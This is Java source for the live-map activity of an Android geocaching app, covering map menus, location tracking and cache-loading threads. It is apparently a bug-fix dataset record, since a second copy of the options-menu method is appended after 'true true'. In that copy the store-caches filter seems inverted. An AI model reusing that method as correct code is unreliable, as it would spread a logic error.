(Exception e) { Log.e(Settings.tag, "cgeomap.onOptionsItemSelected.#4: " + e.toString()); } detailTotal = geocodes.size(); detailProgress = 0; if (detailTotal == 0) { ActivityMixin.showToast(activity, res.getString(R.string.warn_save_nothing)); return true; } final LoadDetailsHandler loadDetailsHandler = new LoadDetailsHandler(); waitDialog = new ProgressDialog(activity); waitDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); waitDialog.setCancelable(true); waitDialog.setCancelMessage(loadDetailsHandler.cancelMessage()); waitDialog.setMax(detailTotal); waitDialog.setOnCancelListener(new DialogInterface.OnCancelListener() { public void onCancel(DialogInterface arg0) { try { if (loadDetailsThread != null) { loadDetailsThread.stopIt(); } if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } } catch (Exception e) { Log.e(Settings.tag, "cgeocaches.onPrepareOptionsMenu.onCancel: " + e.toString()); } } }); Float etaTime = Float.valueOf((detailTotal * (float) 7) / 60); if (etaTime < 0.4) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + res.getString(R.string.caches_eta_ltm)); } else if (etaTime < 1.5) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_min)); } else { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_mins)); } waitDialog.show(); detailProgressTime = System.currentTimeMillis(); loadDetailsThread = new LoadDetails(loadDetailsHandler, geocodes); loadDetailsThread.start(); } return true; case MENU_CIRCLE_MODE: if (overlayCaches == null) { return false; } overlayCaches.switchCircles(); mapView.repaintRequired(overlayCaches); return true; case MENU_AS_LIST: { final cgSearch search = new cgSearch(); search.totalCnt = caches.size(); for (cgCache cache : caches) { search.addGeocode(cache.geocode); } cgeocaches.startActivityMap(activity, app.addSearch(search, caches, true, 0)); return true; } default: if (SUBMENU_VIEW_GOOGLE_MAP <= id && SUBMENU_VIEW_MF_OFFLINE >= id) { item.setChecked(true); mapSourceEnum mapSource = getMapSourceFromMenuId(id); boolean mapRestartRequired = switchMapSource(mapSource); if (mapRestartRequired) { // close old mapview activity.finish(); // prepare information to restart a similar view Intent mapIntent = new Intent(activity, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, fromDetailIntent); mapIntent.putExtra(EXTRAS_SEARCH, searchIntent); mapIntent.putExtra(EXTRAS_GEOCODE, geocodeIntent); if (coordsIntent != null) { mapIntent.putExtra(EXTRAS_LATITUDE, coordsIntent.getLatitude()); mapIntent.putExtra(EXTRAS_LONGITUDE, coordsIntent.getLongitude()); } mapIntent.putExtra(EXTRAS_WPTTYPE, waypointTypeIntent != null ? waypointTypeIntent.id : null); int[] mapState = new int[4]; GeoPointImpl mapCenter = mapView.getMapViewCenter(); mapState[0] = mapCenter.getLatitudeE6(); mapState[1] = mapCenter.getLongitudeE6(); mapState[2] = mapView.getMapZoomLevel(); mapState[3] = followMyLocation ? 1 : 0; mapIntent.putExtra(EXTRAS_MAPSTATE, mapState); // start the new map activity.startActivity(mapIntent); } return true; } else { NavigationAppFactory.onMenuItemSelected(item, geo, activity, res, caches != null && caches.size() > 0 ? caches.get(0) : null, search, null, coordsIntent); } break; } return false; } private static mapSourceEnum getMapSourceFromMenuId(int menuItemId) { switch (menuItemId) { case SUBMENU_VIEW_GOOGLE_MAP: return mapSourceEnum.googleMap; case SUBMENU_VIEW_GOOGLE_SAT: return mapSourceEnum.googleSat; case SUBMENU_VIEW_MF_OSMARENDER: return mapSourceEnum.mapsforgeOsmarender; case SUBMENU_VIEW_MF_MAPNIK: return mapSourceEnum.mapsforgeMapnik; case SUBMENU_VIEW_MF_CYCLEMAP: return mapSourceEnum.mapsforgeCycle; case SUBMENU_VIEW_MF_OFFLINE: return mapSourceEnum.mapsforgeOffline; default: return mapSourceEnum.googleMap; } } private boolean switchMapSource(mapSourceEnum mapSource) { boolean oldIsGoogle = Settings.getMapSource().isGoogleMapSource(); Settings.setMapSource(mapSource); boolean mapRestartRequired = mapSource.isGoogleMapSource() != oldIsGoogle; if (!mapRestartRequired) { mapView.setMapSource(); } return mapRestartRequired; } private void savePrefs() { if (mapView == null) { return; } Settings.setMapZoom(mapView.getMapZoomLevel()); } // set center of map to my location private void myLocationInMiddle() { if (geo == null) { return; } if (!followMyLocation) { return; } centerMap(geo.coordsNow); } // class: update location private class UpdateLoc extends cgUpdateLoc { @Override public void updateLoc(cgGeo geo) { if (geo == null) { return; } try { boolean repaintRequired = false; if (overlayPosition == null && mapView != null) { overlayPosition = mapView.createAddPositionOverlay(activity); } if (overlayPosition != null && geo.location != null) { overlayPosition.setCoordinates(geo.location); } if (geo.coordsNow != null) { if (followMyLocation) { myLocationInMiddle(); } else { repaintRequired = true; } } if (!Settings.isUseCompass() || (geo.speedNow != null && geo.speedNow > 5)) { // use GPS when speed is higher than 18 km/h if (geo.bearingNow != null) { overlayPosition.setHeading(geo.bearingNow); } else { overlayPosition.setHeading(0f); } repaintRequired = true; } if (repaintRequired && mapView != null) { mapView.repaintRequired(overlayPosition); } } catch (Exception e) { Log.w(Settings.tag, "Failed to update location."); } } } // class: update direction private class UpdateDir extends cgUpdateDir { @Override public void updateDir(cgDirection dir) { if (dir == null || dir.directionNow == null) { return; } if (overlayPosition != null && mapView != null && (geo == null || geo.speedNow == null || geo.speedNow <= 5)) { // use compass when speed is lower than 18 km/h overlayPosition.setHeading(dir.directionNow); mapView.repaintRequired(overlayPosition); } } } /** * Starts the {@link LoadTimer} and {@link UsersTimer}. */ public synchronized void startTimer() { if (coordsIntent != null) { // display just one point (new DisplayPointThread()).start(); } else { // start timer if (loadTimer != null) { loadTimer.stopIt(); loadTimer = null; } loadTimer = new LoadTimer(); loadTimer.start(); } if (Settings.isPublicLoc()) { if (usersTimer != null) { usersTimer.stopIt(); usersTimer = null; } usersTimer = new UsersTimer(); usersTimer.start(); } } /** * loading timer Triggers every 250ms and checks for viewport change and starts a {@link LoadThread}. */ private class LoadTimer extends Thread { public LoadTimer() { super("Load Timer"); } private volatile boolean stop = false; public void stopIt() { stop = true; if (loadThread != null) { loadThread.stopIt(); loadThread = null; } if (downloadThread != null) { downloadThread.stopIt(); downloadThread = null; } if (displayThread != null) { displayThread.stopIt(); displayThread = null; } } @Override public void run() { GeoPointImpl mapCenterNow; int centerLatitudeNow; int centerLongitudeNow; int spanLatitudeNow; int spanLongitudeNow; boolean moved = false; boolean force = false; long currentTime = 0; while (!stop) { try { sleep(250); if (mapView != null) { // get current viewport mapCenterNow = mapView.getMapViewCenter(); centerLatitudeNow = mapCenterNow.getLatitudeE6(); centerLongitudeNow = mapCenterNow.getLongitudeE6(); spanLatitudeNow = mapView.getLatitudeSpan(); spanLongitudeNow = mapView.getLongitudeSpan(); // check if map moved or zoomed //TODO Portree Use Rectangle inside with bigger search window. That will stop reloading on every move moved = false; force = false; if (liveChanged) { moved = true; force = true; } else if (live && Settings.isLiveMap() && downloaded == false) { moved = true; } else if (centerLatitude == null || centerLongitude == null) { moved = true; } else if (spanLatitude == null || spanLongitude == null) { moved = true; } else if (((Math.abs(spanLatitudeNow - spanLatitude) > 50) || (Math.abs(spanLongitudeNow - spanLongitude) > 50) || // changed zoom (Math.abs(centerLatitudeNow - centerLatitude) > (spanLatitudeNow / 4)) || (Math.abs(centerLongitudeNow - centerLongitude) > (spanLongitudeNow / 4)) // map moved ) && (cachesCnt <= 0 || CollectionUtils.isEmpty(caches) || !cgBase.isInViewPort(centerLatitude, centerLongitude, centerLatitudeNow, centerLongitudeNow, spanLatitude, spanLongitude, spanLatitudeNow, spanLongitudeNow))) { moved = true; } if (moved && caches != null && centerLatitude != null && centerLongitude != null && ((Math.abs(centerLatitudeNow - centerLatitude) > (spanLatitudeNow * 1.2)) || (Math.abs(centerLongitudeNow - centerLongitude) > (spanLongitudeNow * 1.2)))) { force = true; } //LeeB // save new values if (moved) { liveChanged = false; currentTime = System.currentTimeMillis(); if (1000 < (currentTime - loadThreadRun)) { // from web if (20000 < (currentTime - loadThreadRun)) { force = true; // probably stucked thread } if (force && loadThread != null && loadThread.isWorking()) { loadThread.stopIt(); try { sleep(100); } catch (Exception e) { // nothing } } if (loadThread != null && loadThread.isWorking()) { continue; } centerLatitude = centerLatitudeNow; centerLongitude = centerLongitudeNow; spanLatitude = spanLatitudeNow; spanLongitude = spanLongitudeNow; showProgressHandler.sendEmptyMessage(1); // show progress loadThread = new LoadThread(centerLatitude, centerLongitude, spanLatitude, spanLongitude); loadThread.start(); //loadThread will kick off downloadThread once it's done } } } if (!isLoading()) { showProgressHandler.sendEmptyMessage(0); // hide progress } yield(); } catch (Exception e) { Log.w(Settings.tag, "cgeomap.LoadTimer.run: " + e.toString()); } } } } /** * Timer triggering every 250 ms to start the {@link UsersThread} for displaying user. */ private class UsersTimer extends Thread { public UsersTimer() { super("Users Timer"); } private volatile boolean stop = false; public void stopIt() { stop = true; if (usersThread != null) { usersThread.stopIt(); usersThread = null; } if (displayUsersThread != null) { displayUsersThread.stopIt(); displayUsersThread = null; } } @Override public void run() { GeoPointImpl mapCenterNow; int centerLatitudeNow; int centerLongitudeNow; int spanLatitudeNow; int spanLongitudeNow; boolean moved = false; long currentTime = 0; while (!stop) { try { sleep(250); if (mapView != null) { // get current viewport mapCenterNow = mapView.getMapViewCenter(); centerLatitudeNow = mapCenterNow.getLatitudeE6(); centerLongitudeNow = mapCenterNow.getLongitudeE6(); spanLatitudeNow = mapView.getLatitudeSpan(); spanLongitudeNow = mapView.getLongitudeSpan(); // check if map moved or zoomed moved = false; currentTime = System.currentTimeMillis(); if (60000 < (currentTime - usersThreadRun)) { moved = true; } else if (centerLatitudeUsers == null || centerLongitudeUsers == null) { moved = true; } else if (spanLatitudeUsers == null || spanLongitudeUsers == null) { moved = true; } else if (((Math.abs(spanLatitudeNow - spanLatitudeUsers) > 50) || (Math.abs(spanLongitudeNow - spanLongitudeUsers) > 50) || // changed zoom (Math.abs(centerLatitudeNow - centerLatitudeUsers) > (spanLatitudeNow / 4)) || (Math.abs(centerLongitudeNow - centerLongitudeUsers) > (spanLongitudeNow / 4)) // map moved ) && !cgBase.isInViewPort(centerLatitudeUsers, centerLongitudeUsers, centerLatitudeNow, centerLongitudeNow, spanLatitudeUsers, spanLongitudeUsers, spanLatitudeNow, spanLongitudeNow)) { moved = true; } // save new values if (moved && (1000 < (currentTime - usersThreadRun))) { if (usersThread != null && usersThread.isWorking()) { continue; } centerLatitudeUsers = centerLatitudeNow; centerLongitudeUsers = centerLongitudeNow; spanLatitudeUsers = spanLatitudeNow; spanLongitudeUsers = spanLongitudeNow; usersThread = new UsersThread(centerLatitude, centerLongitude, spanLatitude, spanLongitude); usersThread.start(); } } yield(); } catch (Exception e) { Log.w(Settings.tag, "cgeomap.LoadUsersTimer.run: " + e.toString()); } } } } /** * Worker thread that loads caches and waypoints from the database and then spawns the {@link DownloadThread}. * started by {@link LoadTimer} */ private class LoadThread extends DoThread { public LoadThread(long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { super(centerLatIn, centerLonIn, spanLatIn, spanLonIn); setName("Load Thread"); } @Override public void run() { try { stop = false; working = true; loadThreadRun = System.currentTimeMillis(); if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } //LeeB - I think this can be done better: //1. fetch and draw(in another thread) caches from the db (fast? db read will be the slow bit) //2. fetch and draw(in another thread) and then insert into the db caches from geocaching.com - dont draw/insert if exist in memory? // stage 1 - pull and render from the DB only if (fromDetailIntent || searchIntent != null) { search = searchIntent; } else { if (!live || !Settings.isLiveMap()) { search = app.getStoredInViewport(centerLat, centerLon, spanLat, spanLon, Settings.getCacheType()); } else { search = app.getCachedInViewport(centerLat, centerLon, spanLat, spanLon, Settings.getCacheType()); } } if (search != null) { downloaded = true; } if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } caches = app.getCaches(search, true); //if in live map and stored caches are found / disables are also shown. if (live && Settings.isLiveMap()) { final boolean excludeMine = Settings.isExcludeMyCaches(); final boolean excludeDisabled = Settings.isExcludeDisabledCaches(); for (int i = caches.size() - 1; i >= 0; i--) { cgCache cache = caches.get(i); if ((cache.found && excludeMine) || (cache.own && excludeMine) || (cache.disabled && excludeDisabled)) { caches.remove(i); } } } if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } //render if (displayThread != null && displayThread.isWorking()) { displayThread.stopIt(); } displayThread = new DisplayThread(centerLat, centerLon, spanLat, spanLon); displayThread.start(); if (stop) { displayThread.stopIt(); displayHandler.sendEmptyMessage(0); working = false; return; } //*** this needs to be in it's own thread // stage 2 - pull and render from geocaching.com //this should just fetch and insert into the db _and_ be cancel-able if the viewport changes if (live && Settings.isLiveMap()) { if (downloadThread != null && downloadThread.isWorking()) { downloadThread.stopIt(); } downloadThread = new DownloadThread(centerLat, centerLon, spanLat, spanLon); downloadThread.setName("downloadThread"); downloadThread.start(); } } finally { working = false; } } } /** * Worker thread downloading caches from the internet. * Started by {@link LoadThread}. Duplicate Code with {@link UsersThread} */ private class DownloadThread extends DoThread { public DownloadThread(long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { super(centerLatIn, centerLonIn, spanLatIn, spanLonIn); } @Override public void run() { //first time we enter we have crappy long/lat.... try { stop = false; working = true; if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } double lat1 = (centerLat / 1e6) - ((spanLat / 1e6) / 2) - ((spanLat / 1e6) / 4); double lat2 = (centerLat / 1e6) + ((spanLat / 1e6) / 2) + ((spanLat / 1e6) / 4); double lon1 = (centerLon / 1e6) - ((spanLon / 1e6) / 2) - ((spanLon / 1e6) / 4); double lon2 = (centerLon / 1e6) + ((spanLon / 1e6) / 2) + ((spanLon / 1e6) / 4); double latMin = Math.min(lat1, lat2); double latMax = Math.max(lat1, lat2); double lonMin = Math.min(lon1, lon2); double lonMax = Math.max(lon1, lon2); //*** this needs to be in it's own thread // stage 2 - pull and render from geocaching.com //this should just fetch and insert into the db _and_ be cancel-able if the viewport changes if (token == null) { token = cgBase.getMapUserToken(noMapTokenHandler); } if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } search = base.searchByViewport(token, latMin, latMax, lonMin, lonMax, 0); if (search != null) { downloaded = true; } if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } //TODO Portree Only overwrite if we got some. Otherwise maybe error icon //TODO Merge not to show locally found caches caches = app.getCaches(search, centerLat, centerLon, spanLat, spanLon); if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } //render if (displayThread != null && displayThread.isWorking()) { displayThread.stopIt(); } displayThread = new DisplayThread(centerLat, centerLon, spanLat, spanLon); displayThread.start(); } finally { working = false; } } } /** * Thread to Display (down)loaded caches. Started by {@link LoadThread} and {@link DownloadThread} */ private class DisplayThread extends DoThread { public DisplayThread(long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { super(centerLatIn, centerLonIn, spanLatIn, spanLonIn); setName("Display Thread"); } @Override public void run() { try { stop = false; working = true; if (mapView == null || caches == null) { displayHandler.sendEmptyMessage(0); working = false; return; } // display caches final List<cgCache> cachesProtected = new ArrayList<cgCache>(caches); final List<CachesOverlayItemImpl> items = new ArrayList<CachesOverlayItemImpl>(); if (!cachesProtected.isEmpty()) { for (cgCache cacheOne : cachesProtected) { if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } if (cacheOne.coords == null) { continue; } // display cache waypoints if (cacheOne.waypoints != null // Only show waypoints for single view or setting // when less than showWaypointsthreshold Caches shown && (cachesProtected.size() == 1 || (cachesProtected.size() < Settings.getWayPointsThreshold())) && !cacheOne.waypoints.isEmpty()) { for (cgWaypoint oneWaypoint : cacheOne.waypoints) { if (oneWaypoint.coords == null) { continue; } items.add(getWaypointItem(new cgCoord(oneWaypoint), oneWaypoint.type)); } } items.add(getCacheItem(new cgCoord(cacheOne), cacheOne.type, cacheOne.own, cacheOne.found, cacheOne.disabled)); } overlayCaches.updateItems(items); displayHandler.sendEmptyMessage(1); cachesCnt = cachesProtected.size(); if (stop) { displayHandler.sendEmptyMessage(0); working = false; return; } } else { overlayCaches.updateItems(items); displayHandler.sendEmptyMessage(1); } cachesProtected.clear(); displayHandler.sendEmptyMessage(0); } finally { working = false; } } /** * Returns a OverlayItem representing the cache * * @param cgCoord * The coords * @param type * String name * @param own * true for own caches * @param found * true for found * @param disabled * true for disabled * @return */ private CachesOverlayItemImpl getCacheItem(cgCoord cgCoord, String type, boolean own, boolean found, boolean disabled) { return getItem(cgCoord, cgBase.getCacheMarkerIcon(type, own, found, disabled), type); } /** * Returns a OverlayItem representing the waypoint * * @param cgCoord * The coords * @param type * The waypoint's type * @return */ private CachesOverlayItemImpl getWaypointItem(cgCoord cgCoord, WaypointType type) { return getItem(cgCoord, type != null ? type.markerId : WaypointType.WAYPOINT.markerId, null); } /** * Returns a OverlayItem represented by an icon * * @param cgCoord * The coords * @param icon * The icon * @param cacheType * cacheType, this will influence the style of the circles drawn around it * @return */ private CachesOverlayItemImpl getItem(cgCoord cgCoord, int icon, final String cacheType) { coordinates.add(cgCoord); CachesOverlayItemImpl item = Settings.getMapFactory().getCachesOverlayItem(cgCoord, cacheType); Drawable pin = null; if (iconsCache.containsKey(icon)) { pin = iconsCache.get(icon); } else { pin = getResources().getDrawable(icon); pin.setBounds(0, 0, pin.getIntrinsicWidth(), pin.getIntrinsicHeight()); iconsCache.put(icon, pin); } item.setMarker(pin); return item; } } /** * Thread to load users from Go 4 Cache * Duplicate Code with {@link DownloadThread} */ private class UsersThread extends DoThread { public UsersThread(long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { super(centerLatIn, centerLonIn, spanLatIn, spanLonIn); setName("UsersThread"); } @Override public void run() { try { stop = false; working = true; usersThreadRun = System.currentTimeMillis(); if (stop) { return; } double latMin = (centerLat / 1e6) - ((spanLat / 1e6) / 2) - ((spanLat / 1e6) / 4); double latMax = (centerLat / 1e6) + ((spanLat / 1e6) / 2) + ((spanLat / 1e6) / 4); double lonMin = (centerLon / 1e6) - ((spanLon / 1e6) / 2) - ((spanLon / 1e6) / 4); double lonMax = (centerLon / 1e6) + ((spanLon / 1e6) / 2) + ((spanLon / 1e6) / 4); double llCache; if (latMin > latMax) { llCache = latMax; latMax = latMin; latMin = llCache; } if (lonMin > lonMax) { llCache = lonMax; lonMax = lonMin; lonMin = llCache; } users = cgBase.getGeocachersInViewport(Settings.getUsername(), latMin, latMax, lonMin, lonMax); if (stop) { return; } if (displayUsersThread != null && displayUsersThread.isWorking()) { displayUsersThread.stopIt(); } displayUsersThread = new DisplayUsersThread(users, centerLat, centerLon, spanLat, spanLon); displayUsersThread.start(); } finally { working = false; } } } /** * Thread to display users of Go 4 Cache started from {@link UsersThread} */ private class DisplayUsersThread extends DoThread { private List<cgUser> users = null; public DisplayUsersThread(List<cgUser> usersIn, long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { super(centerLatIn, centerLonIn, spanLatIn, spanLonIn); setName("DisplayUsersThread"); users = usersIn; } @Override public void run() { try { stop = false; working = true; if (mapView == null || CollectionUtils.isEmpty(users)) { return; } // display users List<OtherCachersOverlayItemImpl> items = new ArrayList<OtherCachersOverlayItemImpl>(); int counter = 0; OtherCachersOverlayItemImpl item = null; for (cgUser userOne : users) { if (stop) { return; } if (userOne.coords == null) { continue; } item = Settings.getMapFactory().getOtherCachersOverlayItemBase(activity, userOne); items.add(item); counter++; if ((counter % 10) == 0) { overlayOtherCachers.updateItems(items); displayHandler.sendEmptyMessage(1); } } overlayOtherCachers.updateItems(items); } finally { working = false; } } } /** * Thread to display one point. Started on opening if in single mode. */ private class DisplayPointThread extends Thread { @Override public void run() { if (mapView == null || caches == null) { return; } if (coordsIntent != null) { final cgCoord coord = new cgCoord(); coord.type = "waypoint"; coord.coords = coordsIntent; coord.name = "some place"; coordinates.add(coord); final CachesOverlayItemImpl item = Settings.getMapFactory().getCachesOverlayItem(coord, null); final int icon; if (waypointTypeIntent != null) { icon = waypointTypeIntent.markerId; } else { icon = WaypointType.WAYPOINT.markerId; } Drawable pin = null; if (iconsCache.containsKey(icon)) { pin = iconsCache.get(icon); } else { pin = getResources().getDrawable(icon); pin.setBounds(0, 0, pin.getIntrinsicWidth(), pin.getIntrinsicHeight()); iconsCache.put(icon, pin); } item.setMarker(pin); overlayCaches.updateItems(item); displayHandler.sendEmptyMessage(1); cachesCnt = 1; } else { cachesCnt = 0; } displayHandler.sendEmptyMessage(0); } } /** * Abstract Base Class for the worker threads. */ private abstract static class DoThread extends Thread { protected boolean working = true; protected boolean stop = false; protected long centerLat = 0L; protected long centerLon = 0L; protected long spanLat = 0L; protected long spanLon = 0L; public DoThread(long centerLatIn, long centerLonIn, long spanLatIn, long spanLonIn) { centerLat = centerLatIn; centerLon = centerLonIn; spanLat = spanLatIn; spanLon = spanLonIn; } public synchronized boolean isWorking() { return working; } public synchronized void stopIt() { stop = true; } } /** * get if map is loading something * * @return */ private synchronized boolean isLoading() { boolean loading = false; if (loadThread != null && loadThread.isWorking()) { loading = true; } else if (downloadThread != null && downloadThread.isWorking()) { loading = true; } else if (displayThread != null && displayThread.isWorking()) { loading = true; } return loading; } /** * Thread to store the caches in the viewport. Started by Activity. */ private class LoadDetails extends Thread { final private CancellableHandler handler; final private List<String> geocodes; private long last = 0L; public LoadDetails(final CancellableHandler handler, final List<String> geocodes) { this.handler = handler; this.geocodes = geocodes; } public void stopIt() { handler.cancel(); } @Override public void run() { if (CollectionUtils.isEmpty(geocodes)) { return; } if (dir != null) { dir = app.removeDir(); } if (geo != null) { geo = app.removeGeo(); } for (String geocode : geocodes) { try { if (handler.isCancelled()) { break; } if (!app.isOffline(geocode, null)) { if ((System.currentTimeMillis() - last) < 1500) { try { int delay = 1000 + ((Double) (Math.random() * 1000)).intValue() - (int) (System.currentTimeMillis() - last); if (delay < 0) { delay = 500; } sleep(delay); } catch (Exception e) { // nothing } } if (handler.isCancelled()) { Log.i(Settings.tag, "Stopped storing process."); break; } base.storeCache(app, activity, null, geocode, 1, handler); } } catch (Exception e) { Log.e(Settings.tag, "cgeocaches.LoadDetails.run: " + e.toString()); } finally { // one more cache over detailProgress++; handler.sendEmptyMessage(0); } // FIXME: what does this yield() do here? yield(); last = System.currentTimeMillis(); } // we're done handler.sendEmptyMessage(1); } } // center map to desired location private void centerMap(final Geopoint coords) { if (coords == null) { return; } if (mapView == null) { return; } if (!alreadyCentered) { alreadyCentered = true; mapController.setCenter(makeGeoPoint(coords)); } else { mapController.animateTo(makeGeoPoint(coords)); } } // move map to view results of searchIntent private void centerMap(String geocodeCenter, final cgSearch searchCenter, final Geopoint coordsCenter, int[] mapState) { if (!centered && mapState != null) { try { mapController.setCenter(Settings.getMapFactory().getGeoPointBase(new Geopoint(mapState[0] / 1.0e6, mapState[1] / 1.0e6))); mapController.setZoom(mapState[2]); } catch (Exception e) { // nothing at all } centered = true; alreadyCentered = true; } else if (!centered && (geocodeCenter != null || searchIntent != null)) { try { List<Object> viewport = null; if (geocodeCenter != null) { viewport = app.getBounds(geocodeCenter); } else { viewport = app.getBounds(searchCenter); } if (viewport == null) { return; } Integer cnt = (Integer) viewport.get(0); Integer minLat = null; Integer maxLat = null; Integer minLon = null; Integer maxLon = null; if (viewport.get(1) != null) { minLat = (int) ((Double) viewport.get(1) * 1e6); } if (viewport.get(2) != null) { maxLat = (int) ((Double) viewport.get(2) * 1e6); } if (viewport.get(3) != null) { maxLon = (int) ((Double) viewport.get(3) * 1e6); } if (viewport.get(4) != null) { minLon = (int) ((Double) viewport.get(4) * 1e6); } if (cnt == null || cnt <= 0 || minLat == null || maxLat == null || minLon == null || maxLon == null) { return; } int centerLat = 0; int centerLon = 0; if ((Math.abs(maxLat) - Math.abs(minLat)) != 0) { centerLat = minLat + ((maxLat - minLat) / 2); } else { centerLat = maxLat; } if ((Math.abs(maxLon) - Math.abs(minLon)) != 0) { centerLon = minLon + ((maxLon - minLon) / 2); } else { centerLon = maxLon; } if (cnt > 0) { mapController.setCenter(Settings.getMapFactory().getGeoPointBase(new Geopoint(centerLat, centerLon))); if (Math.abs(maxLat - minLat) != 0 && Math.abs(maxLon - minLon) != 0) { mapController.zoomToSpan(Math.abs(maxLat - minLat), Math.abs(maxLon - minLon)); } } } catch (Exception e) { // nothing at all } centered = true; alreadyCentered = true; } else if (!centered && coordsCenter != null) { try { mapController.setCenter(makeGeoPoint(coordsCenter)); } catch (Exception e) { // nothing at all } centered = true; alreadyCentered = true; } } // switch My Location button image private void switchMyLocationButton() { if (followMyLocation) { myLocSwitch.setImageResource(R.drawable.actionbar_mylocation_on); myLocationInMiddle(); } else { myLocSwitch.setImageResource(R.drawable.actionbar_mylocation_off); } } // set my location listener private class MyLocationListener implements View.OnClickListener { public void onClick(View view) { followMyLocation = !followMyLocation; switchMyLocationButton(); } } @Override public void onDrag() { if (followMyLocation) { followMyLocation = false; switchMyLocationButton(); } } // make geopoint private static GeoPointImpl makeGeoPoint(final Geopoint coords) { return Settings.getMapFactory().getGeoPointBase(coords); } // close activity and open homescreen public void goHome(View view) { ActivityMixin.goHome(activity); } // open manual entry public void goManual(View view) { ActivityMixin.goManual(activity, "c:geo-live-map"); } @Override public View makeView() { ImageView imageView = new ImageView(activity); imageView.setScaleType(ScaleType.CENTER); imageView.setLayoutParams(new ImageSwitcher.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); return imageView; } public static void startActivitySearch(final Activity fromActivity, final cgSearch search, final String title, boolean detail) { Intent mapIntent = new Intent(fromActivity, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, detail); mapIntent.putExtra(EXTRAS_SEARCH, search); if (StringUtils.isNotBlank(title)) { mapIntent.putExtra(CGeoMap.EXTRAS_MAP_TITLE, title); } fromActivity.startActivity(mapIntent); } public static void startActivityLiveMap(final Context context) { context.startActivity(new Intent(context, Settings.getMapFactory().getMapClass())); } public static void startActivityCoords(final Context context, final Geopoint coords, final WaypointType type, final String title) { Intent mapIntent = new Intent(context, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, false); mapIntent.putExtra(EXTRAS_LATITUDE, coords.getLatitude()); mapIntent.putExtra(EXTRAS_LONGITUDE, coords.getLongitude()); if (type != null) { mapIntent.putExtra(EXTRAS_WPTTYPE, type.id); } if (StringUtils.isNotBlank(title)) { mapIntent.putExtra(EXTRAS_MAP_TITLE, title); } context.startActivity(mapIntent); } public static void startActivityGeoCode(final Context context, final String geocode) { Intent mapIntent = new Intent(context, Settings.getMapFactory().getMapClass()); mapIntent.putExtra(EXTRAS_DETAIL, false); mapIntent.putExtra(EXTRAS_GEOCODE, geocode); mapIntent.putExtra(EXTRAS_MAP_TITLE, geocode); context.startActivity(mapIntent); } }
true
true
public boolean onOptionsItemSelected(MenuItem item) { final int id = item.getItemId(); switch (id) { case MENU_TRAIL_MODE: Settings.setMapTrail(!Settings.isMapTrail()); return true; case MENU_MAP_LIVE: Settings.setLiveMap(!Settings.isLiveMap()); liveChanged = true; search = null; searchIntent = null; return true; case MENU_STORE_CACHES: if (live && !isLoading() && CollectionUtils.isNotEmpty(caches)) { final List<String> geocodes = new ArrayList<String>(); List<cgCache> cachesProtected = new ArrayList<cgCache>(caches); try { if (cachesProtected.size() > 0) { final GeoPointImpl mapCenter = mapView.getMapViewCenter(); final int mapCenterLat = mapCenter.getLatitudeE6(); final int mapCenterLon = mapCenter.getLongitudeE6(); final int mapSpanLat = mapView.getLatitudeSpan(); final int mapSpanLon = mapView.getLongitudeSpan(); for (cgCache oneCache : cachesProtected) { if (oneCache != null && oneCache.coords != null) { if (!cgBase.isCacheInViewPort(mapCenterLat, mapCenterLon, mapSpanLat, mapSpanLon, oneCache.coords) && app.isOffline(oneCache.geocode, null)) { geocodes.add(oneCache.geocode); } } } } } catch (Exception e) { Log.e(Settings.tag, "cgeomap.onOptionsItemSelected.#4: " + e.toString()); } detailTotal = geocodes.size(); detailProgress = 0; if (detailTotal == 0) { ActivityMixin.showToast(activity, res.getString(R.string.warn_save_nothing)); return true; } final LoadDetailsHandler loadDetailsHandler = new LoadDetailsHandler(); waitDialog = new ProgressDialog(activity); waitDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); waitDialog.setCancelable(true); waitDialog.setCancelMessage(loadDetailsHandler.cancelMessage()); waitDialog.setMax(detailTotal); waitDialog.setOnCancelListener(new DialogInterface.OnCancelListener() { public void onCancel(DialogInterface arg0) { try { if (loadDetailsThread != null) { loadDetailsThread.stopIt(); } if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } } catch (Exception e) { Log.e(Settings.tag, "cgeocaches.onPrepareOptionsMenu.onCancel: " + e.toString()); } } }); Float etaTime = Float.valueOf((detailTotal * (float) 7) / 60); if (etaTime < 0.4) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + res.getString(R.string.caches_eta_ltm)); } else if (etaTime < 1.5) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_min)); } else { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%.0f", etaTime) + " " + res.getString(R.string.caches_eta_mins)); } waitDialog.show(); detailProgressTime = System.currentTimeMillis(); loadDetailsThread = new LoadDetails(loadDetailsHandler, geocodes); loadDetailsThread.start(); } return true; case MENU_CIRCLE_MODE: if (overlayCaches == null) { return false; } 